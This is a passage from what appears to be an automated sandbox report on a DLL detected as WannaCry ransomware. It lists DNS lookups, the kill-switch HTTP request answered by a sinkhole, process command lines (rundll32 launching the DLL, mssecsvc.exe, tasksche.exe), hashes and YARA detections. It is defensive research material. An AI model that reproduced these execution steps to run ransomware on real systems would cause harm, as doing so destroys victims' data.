                  Jul 20, 2022 08:06:27.146744967 CEST8.8.8.8192.168.2.50xaf7aName error (3)epciqa.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.258258104 CEST8.8.8.8192.168.2.50x2907Name error (3)zhuqai.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.293320894 CEST8.8.8.8192.168.2.50xa99bName error (3)sqyjpl.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.338700056 CEST8.8.8.8192.168.2.50xde5fName error (3)qntdhr.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:31.843381882 CEST8.8.8.8192.168.2.50x787cServer failure (2)jps.sox4.atnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:32.844820023 CEST8.8.8.8192.168.2.50x787cServer failure (2)jps.sox4.atnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:33.840547085 CEST8.8.8.8192.168.2.50x787cServer failure (2)jps.sox4.atnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.535690069 CEST8.8.8.8192.168.2.50x745fName error (3)mkizwb.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.571957111 CEST8.8.8.8192.168.2.50x2ad7Name error (3)eafsnd.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.613226891 CEST8.8.8.8192.168.2.50xc371Name error (3)syygda.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.646972895 CEST8.8.8.8192.168.2.50x3bb2Name error (3)uyuukr.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.683012009 CEST8.8.8.8192.168.2.50x8842Name error (3)qoqckm.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.791182995 CEST8.8.8.8192.168.2.50x8c76Name error (3)aeepbn.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.839001894 CEST8.8.8.8192.168.2.50xd732Name error (3)yycwop.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.873819113 CEST8.8.8.8192.168.2.50xa17bName error (3)fbaola.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.904645920 CEST8.8.8.8192.168.2.50x6a1fName error (3)ogibbe.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.934360981 CEST8.8.8.8192.168.2.50x498eName error (3)ckeioo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.969050884 CEST8.8.8.8192.168.2.50xb2b7Name error (3)yszrbf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:47.998763084 CEST8.8.8.8192.168.2.50x4c3eName error (3)wwadyq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:48.048116922 CEST8.8.8.8192.168.2.50xd74Name error (3)oanhen.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:48.079710007 CEST8.8.8.8192.168.2.50xc34cName error (3)oqndus.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.465526104 CEST8.8.8.8192.168.2.50x6eb2Name error (3)zzrowg.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.498552084 CEST8.8.8.8192.168.2.50x4cccName error (3)gwnycf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.531784058 CEST8.8.8.8192.168.2.50x5a0bName error (3)ylgohw.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.568212986 CEST8.8.8.8192.168.2.50x816fName error (3)ieuylk.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.596460104 CEST8.8.8.8192.168.2.50x43bName error (3)pueyyv.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.644625902 CEST8.8.8.8192.168.2.50x4156Name error (3)ufdhyf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.695980072 CEST8.8.8.8192.168.2.50x77b6Name error (3)wuhoqf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.723741055 CEST8.8.8.8192.168.2.50xdf76Name error (3)mtscea.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.754585028 CEST8.8.8.8192.168.2.50xd18cName error (3)hyahmq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.807642937 CEST8.8.8.8192.168.2.50xf41bName error (3)yykhqf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.845551968 CEST8.8.8.8192.168.2.50xc6a3Name error (3)ictqlu.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.880616903 CEST8.8.8.8192.168.2.50x582bName error (3)zldfay.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.913749933 CEST8.8.8.8192.168.2.50x849cName error (3)jujjzi.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.949820995 CEST8.8.8.8192.168.2.50x8144Name error (3)ptydjk.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:08.980379105 CEST8.8.8.8192.168.2.50x456Name error (3)hktonz.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.010633945 CEST8.8.8.8192.168.2.50xc6a1Name error (3)egyoyo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.051731110 CEST8.8.8.8192.168.2.50x5d46Name error (3)yizfid.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.081841946 CEST8.8.8.8192.168.2.50x6596Name error (3)axuhbp.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.127007961 CEST8.8.8.8192.168.2.50xef34Name error (3)nibvba.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.163007975 CEST8.8.8.8192.168.2.50x213cName error (3)haciym.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.190206051 CEST8.8.8.8192.168.2.50xe9e0Name error (3)kkmsdo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.217606068 CEST8.8.8.8192.168.2.50xa444Name error (3)iaawsc.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.250899076 CEST8.8.8.8192.168.2.50x3c70Name error (3)rabqgq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:07:09.298820019 CEST8.8.8.8192.168.2.50x49c1Name error (3)tmiksl.comnonenoneA (IP address)IN (0x0001)

                  HTTP Request Dependency Graph

                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

                  HTTP Packets

                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  0192.168.2.549768104.16.173.8080C:\Windows\mssecsvc.exe
                  TimestampkBytes transferredDirectionData
                  Jul 20, 2022 08:03:44.645948887 CEST1069OUTGET / HTTP/1.1
                  Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                  Cache-Control: no-cache
                  Jul 20, 2022 08:03:44.679413080 CEST1069INHTTP/1.1 200 OK
                  Date: Wed, 20 Jul 2022 06:03:44 GMT
                  Content-Type: text/html
                  Content-Length: 607
                  Connection: close
                  Server: cloudflare
                  CF-RAY: 72d97ed40e689b28-FRA
                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                  Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                  Session IDSource IPSource PortDestination IPDestination PortProcess
                  1192.168.2.549921104.16.173.8080C:\Windows\mssecsvc.exe
                  TimestampkBytes transferredDirectionData
                  Jul 20, 2022 08:06:06.199743032 CEST11491OUTGET / HTTP/1.1
                  Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                  Cache-Control: no-cache
                  Jul 20, 2022 08:06:06.235290051 CEST11491INHTTP/1.1 200 OK
                  Date: Wed, 20 Jul 2022 06:06:06 GMT
                  Content-Type: text/html
                  Content-Length: 607
                  Connection: close
                  Server: cloudflare
                  CF-RAY: 72d98248cded9a24-FRA
                  Jul 20, 2022 08:06:06.239558935 CEST11492INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65
                  Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0


                  Statistics

                  CPU Usage

                  Click to jump to process

                  Memory Usage

                  Click to jump to process

                  Behavior

                  Click to jump to process

                  System Behavior

                  General

                  Target ID:0
                  Start time:08:03:33
                  Start date:20/07/2022
                  Path:C:\Windows\System32\loaddll32.exe
                  Wow64 process (32bit):true
                  Commandline:loaddll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll"
                  Imagebase:0xe80000
                  File size:116736 bytes
                  MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:1
                  Start time:08:03:34
                  Start date:20/07/2022
                  Path:C:\Windows\SysWOW64\cmd.exe
                  Wow64 process (32bit):true
                  Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1
                  Imagebase:0x1100000
                  File size:232960 bytes
                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:2
                  Start time:08:03:34
                  Start date:20/07/2022
                  Path:C:\Windows\SysWOW64\rundll32.exe
                  Wow64 process (32bit):true
                  Commandline:rundll32.exe C:\Users\user\Desktop\tct5NKwZY8.dll,PlayGame
                  Imagebase:0x1350000
                  File size:61952 bytes
                  MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:3
                  Start time:08:03:34
                  Start date:20/07/2022
                  Path:C:\Windows\SysWOW64\rundll32.exe
                  Wow64 process (32bit):true
                  Commandline:rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1
                  Imagebase:0x1350000
                  File size:61952 bytes
                  MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:4
                  Start time:08:03:37
                  Start date:20/07/2022
                  Path:C:\Windows\mssecsvc.exe
                  Wow64 process (32bit):true
                  Commandline:C:\WINDOWS\mssecsvc.exe
                  Imagebase:0x400000
                  File size:3813376 bytes
                  MD5 hash:08F6BFCC5D9AC317C1838E4E08A9C949
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.773290749.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.454486210.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.456718137.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.449331377.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.452882061.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.457156130.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.449494813.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.454576802.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                  • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                  Antivirus matches:
                  • Detection: 100%, Avira
                  • Detection: 100%, Joe Sandbox ML
                  • Detection: 83%, Metadefender, Browse
                  • Detection: 98%, ReversingLabs
                  Reputation:low

                  General

                  Target ID:5
                  Start time:08:03:38
                  Start date:20/07/2022
                  Path:C:\Windows\SysWOW64\rundll32.exe
                  Wow64 process (32bit):true
                  Commandline:rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",PlayGame
                  Imagebase:0x1350000
                  File size:61952 bytes
                  MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high

                  General

                  Target ID:6
                  Start time:08:03:38
                  Start date:20/07/2022
                  Path:C:\Windows\mssecsvc.exe
                  Wow64 process (32bit):true
                  Commandline:C:\WINDOWS\mssecsvc.exe
                  Imagebase:0x400000
                  File size:3813376 bytes
                  MD5 hash:08F6BFCC5D9AC317C1838E4E08A9C949
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.452865526.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.541550184.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.454821757.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.457162249.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.460261646.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.455126478.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.457229405.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.452944820.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  Reputation:low

                  General

                  Target ID:8
                  Start time:08:03:43
                  Start date:20/07/2022
                  Path:C:\Windows\System32\winlogon.exe
                  Wow64 process (32bit):false
                  Commandline:winlogon.exe
                  Imagebase:0x7ff7f75e0000
                  File size:677376 bytes
                  MD5 hash:F9017F2DC455AD373DF036F5817A8870
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:moderate

                  General

                  Target ID:10
                  Start time:08:03:44
                  Start date:20/07/2022
                  Path:C:\Windows\mssecsvc.exe
                  Wow64 process (32bit):true
                  Commandline:C:\WINDOWS\mssecsvc.exe -m security
                  Imagebase:0x400000
                  File size:3813376 bytes
                  MD5 hash:08F6BFCC5D9AC317C1838E4E08A9C949
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000A.00000000.464877122.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000A.00000002.567066183.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000002.567404707.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                  Reputation:low

                  General

                  Target ID:11
                  Start time:08:03:45
                  Start date:20/07/2022
                  Path:C:\Windows\System32\lsass.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\lsass.exe
                  Imagebase:0x7ff6fdcc0000
                  File size:57976 bytes
                  MD5 hash:317340CD278A374BCEF6A30194557227
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:12
                  Start time:08:03:49
                  Start date:20/07/2022
                  Path:C:\Windows\System32\fontdrvhost.exe
                  Wow64 process (32bit):false
                  Commandline:fontdrvhost.exe
                  Imagebase:0x7ff7cca20000
                  File size:790304 bytes
                  MD5 hash:31113981180E69C2773BCADA4051738A
                  Has elevated privileges:false
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:13
                  Start time:08:03:53
                  Start date:20/07/2022
                  Path:C:\Windows\System32\fontdrvhost.exe
                  Wow64 process (32bit):false
                  Commandline:fontdrvhost.exe
                  Imagebase:0x7ff7cca20000
                  File size:790304 bytes
                  MD5 hash:31113981180E69C2773BCADA4051738A
                  Has elevated privileges:false
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:15
                  Start time:08:03:54
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:16
                  Start time:08:03:55
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:17
                  Start time:08:03:57
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:18
                  Start time:08:04:02
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k rpcss -p
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:19
                  Start time:08:04:05
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:20
                  Start time:08:04:07
                  Start date:20/07/2022
                  Path:C:\Windows\System32\dwm.exe
                  Wow64 process (32bit):false
                  Commandline:dwm.exe
                  Imagebase:0x7ff7f9230000
                  File size:62464 bytes
                  MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                  Has elevated privileges:false
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:21
                  Start time:08:04:14
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:22
                  Start time:08:04:16
                  Start date:20/07/2022
                  Path:C:\Windows\tasksche.exe
                  Wow64 process (32bit):false
                  Commandline:C:\WINDOWS\tasksche.exe /i
                  Imagebase:0x400000
                  File size:3514368 bytes
                  MD5 hash:3233ACED9279EF54267C479BBA665B90
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Yara matches:
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000016.00000000.532937600.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team
                  • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                  • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                  • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                  Antivirus matches:
                  • Detection: 100%, Avira
                  • Detection: 100%, Joe Sandbox ML
                  • Detection: 85%, Metadefender, Browse
                  • Detection: 95%, ReversingLabs

                  General

                  Target ID:23
                  Start time:08:04:20
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:26
                  Start time:08:04:32
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:27
                  Start time:08:04:34
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:false
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:28
                  Start time:08:04:34
                  Start date:20/07/2022
                  Path:C:\Windows\System32\BackgroundTransferHost.exe
                  Wow64 process (32bit):false
                  Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                  Imagebase:0x7ff6ac0e0000
                  File size:36864 bytes
                  MD5 hash:02BA81746B929ECC9DB6665589B68335
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:29
                  Start time:08:04:35
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:30
                  Start time:08:04:41
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
